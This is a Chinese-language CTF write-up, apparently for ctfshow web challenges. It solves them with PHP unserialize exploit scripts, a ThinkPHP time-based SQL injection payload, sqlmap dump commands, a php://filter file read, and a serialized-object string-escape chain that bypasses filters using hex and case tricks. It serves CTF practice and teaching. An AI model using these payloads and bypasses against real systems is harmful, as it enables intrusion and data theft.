eazy-unserialize 打开题目看到源码,代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 <?php include "mysqlDb.class.php" ;class ctfshow { public $method; public $args; public $cursor; function __construct ($method, $args) { $this ->method = $method; $this ->args = $args; $this ->getCursor(); } function getCursor () { global $DEBUG; if (!$this ->cursor) $this ->cursor = MySql::getInstance(); if ($DEBUG) { $sql = "DROP TABLE IF EXISTS USERINFO" ; $this ->cursor->Exec($sql); $sql = "CREATE TABLE IF NOT EXISTS USERINFO (username VARCHAR(64), password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8" ; $this ->cursor->Exec($sql); $sql = "INSERT INTO USERINFO VALUES ('CTFSHOW', 'CTFSHOW', 'admin'), ('HHD', 'HXD', 'user')" ; $this ->cursor->Exec($sql); } } function login () { list ($username, $password) = func_get_args(); $sql = sprintf("SELECT * FROM USERINFO WHERE username='%s' AND password='%s'" , $username, md5($password)); $obj = $this ->cursor->getRow($sql); $data = $obj['role' ]; if ( $data != null ) { define('Happy' , TRUE ); $this ->loadData($data); } else { $this ->byebye("sorry!" ); } } function closeCursor () { $this ->cursor = MySql::destroyInstance(); } function lookme () { highlight_file(__FILE__ ); } function loadData ($data) { if (substr($data, 0 , 2 ) !== 'O:' ) { return unserialize($data); } return null ; } function __destruct () { $this ->getCursor(); if (in_array($this ->method, array ("login" , "lookme" ))) { @call_user_func_array(array ($this , $this ->method), $this ->args); } else { $this ->byebye("fuc***** hacker ?" ); } $this ->closeCursor(); } function byebye ($msg) { $this ->closeCursor(); header("Content-Type: application/json" ); die ( json_encode( array ("msg" => $msg) ) ); } } class Happy { public $file='flag.php' ; function __destruct () { if (!empty ($this ->file)) { include $this ->file; } } } function ezwaf ($data) { if (preg_match("/ctfshow/" ,$data)){ die ("Hacker !!!" ); } return $data; } if (isset ($_GET["w_a_n" ])) { @unserialize(ezwaf($_GET["w_a_n" ])); } else { new CTFSHOW("lookme" , array ()); }
在ezwaf中可以看出 data中不能含有ctfshow,在Happy类中直接包含了flag.php,那直接去实例化Happy就可以绕过ezwaf了,因为我们没有实例化ctfshow这个类,所以传入的数据中并不会含有ctfshow。
exp
1 2 3 4 5 6 7 8 <?php class Happy { public $file='php://filter/convert.base64-encode/resource=flag.php' ; } $a = new Happy(); $b = serialize($a); echo $b;
解码看到flag的位置在根目录下再次构造访问/flag即可
eazy-unserialize-revenge 上一题的exp还可以用
lastsward’s website 登陆 admin/123456
登录进去之后玩了好久的游戏哈哈哈哈哈 2048玩了好几次嘿嘿嘿
言归正传 指纹识别插件显示为Thinkphp输入报错信息看到版本
参考文章
https://zhuanlan.zhihu.com/p/127208753
通过文章里找到了一个paylod
1 ?Id[0]=exp&Id[1]==2 and sleep(5)--+
然后访问可以看到
在修改游戏名称为
即可拿到flag!
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=–=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==–=-=-=–=-=-=-=-=
今下午就做了这两道题,剩下的明天搞做个分界线,明天要开始上课啦哟!
迷惑行为大赏之盲注 10点开始上课,上课前刷一道,这道题我不知道是不是非预期,sqlmap直接一把嗦了
在忘记密码的部分会存在两个不同的回显
存在注入点,然后抓去post数据包保存为1.txt,sqlmap一把嗦
1 sqlmap -r 1.txt -D 测试 --tables
1 sqlmap -r 1.txt -D 测试 -T 15665611612 --columns
1 sqlmap -r 1.txt -D 测试 -T 15665611612 -C 'what%40you%40want' --dump
这里需要注意的一个点就是特殊字符需要url编码一下。
Web逃离计划 登陆界面尝试登录 密码错误得到提示不是sql注入,于是爆破下密码
成功得到密码,是个弱口令,登录后显示登录成功但是还在这个页面
看到了一个php文件,LFI成功得到源码
base64解码,最终得到所有代码,一看代码就看到一个醒眼的字眼
分析所有代码得到poc链
PersonalFunction::checkFunction->register::toString–>magic::get
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php class register { protected $username; protected $password; protected $mobile; protected $mdPwd; public function __construct ($username,$password,$mobile,$mdPwd) { $this ->username = $username; $this ->password = $password; $this ->mobile = $mobile; $this ->mdPwd = $mdPwd; } } class magic { protected $username; public function __construct () { $this ->username = 'admin' ; } } class PersonalFunction { protected $username; protected $password; protected $func; public function __construct ($username,$password,$func) { $this ->username = $username; $this ->password = $password; $this ->func = $func; } } $a = new magic(); $b = new register('ly0n' ,'ly0n' ,'1' ,$a); $c = array ($b); $d = new PersonalFunction('ly0n' ,'ly0n' ,$c); echo serialize($d);
index的代码
看到ezwaf里的代码,存在三个函数
第一个get
1 2 3 4 function get ($data) { $data = str_replace('forfun' , chr(0 )."*" .chr(0 ), $data); return $data; }
输入的forfun会被转换为3个字符,也就是每次输入减少了三个字符,可造成字符串逃逸
第二个checkDate
1 2 3 4 function checkData ($data) { if (stristr($data, 'username' )!==False &&stristr($data, 'password' )!==False ){ die ("fuc**** hacker!!!\n" ); }
hex绕过
第三个 checkLogData
1 2 function checkLogData ($data) { if (preg_match("/register|magic|PersonalFunction/" ,$data)){
正则不含i 对大小写敏感可以大写绕过
接下来就是要逃逸字符串,通过上面的exp可以输出
1 O:16:"PersonalFunction":3:{s:11:"\00*\00username";s:4:"ly0n";s:11:"\00*\00password";s:4:"ly0n";s:7:"\00*\00func";a:1:{i:0;O:8:"register":4:{s:11:"\00*\00username";s:4:"ly0n";s:11:"\00*\00password";s:4:"ly0n";s:9:"\00*\00mobile";s:1:"1";s:8:"\00*\00mdPwd";O:5:"magic":1:{s:11:"*username";s:5:"admin";}}}}
经过class页面模拟输入得到的结果
1 O:5:"Login":3:{s:12:"\00*\00user_name";s:4:"ly0n";s:12:"\00*\00pass_word";s:361:"";s:12:"\00*\00pass_word";O:16:"PersonalFunction":3:{s:11:"\00*\00username";s:4:"ly0n";s:11:"\00*\00password";s:4:"ly0n";s:7:"\00*\00func";a:1:{i:0;O:8:"register":4:{s:11:"\00*\00username";s:4:"ly0n";s:11:"\00*\00password";s:4:"ly0n";s:9:"\00*\00mobile";s:1:"1";s:8:"\00*\00mdPwd";O:5:"magic":1:{s:11:"\00*\00username";s:5:"admin";}}}}";s:8:"\00*\00admin";i:0;}";s:8:"*admin";i:0;}
1 ";s:12:"\00*\00pass_word";s:361:"
下面那一句就是需要吞掉的,但是只有29个字符,要凑成3的倍数,在输入password的时候加一个a
也就是
1 password=a";;s:12:"\00*\00pass_word";O:16:"PersonalFunction":3:{s:11:"\00*\00username";s:4:"ly0n";s:11:"\00*\00password";s:4:"ly0n";s:7:"\00*\00func";a:1:{i:0;O:8:"register":4:{s:11:"\00*\00username";s:4:"ly0n";s:11:"\00*\00password";s:4:"ly0n";s:9:"\00*\00mobile";s:1:"1";s:8:"\00*\00mdPwd";O:5:"magic":1:{s:11:"\00*\00username";s:5:"admin";}}}}";s:8:"\00*\00admin";i:0;}";s:8:"*admin";i:0;}
在username 输入10个forfun达到逃逸,然后通过hex桡过第二个过滤,大小写绕过第三个过滤
1 a";S:12:"\00*\00pass_word";O:16:"personalFunction":3:{S:11:"\00*\00\75sername";S:4:"ly0n";S:11:"\00*\00\70assword";S:4:"ly0n";S:7:"\00*\00func";a:1:{i:0;O:8:"Register":4:{S:11:"\00*\00\75sername";S:4:"ly0n";S:11:"\00*\00\70assword";S:4:"ly0n";S:9:"\00*\00mobile";S:1:"1";S:8:"\00*\00mdPwd";O:5:"Magic":1:{S:11:"\00*\00\75sername";S:5:"admin";}}}}
拿到flag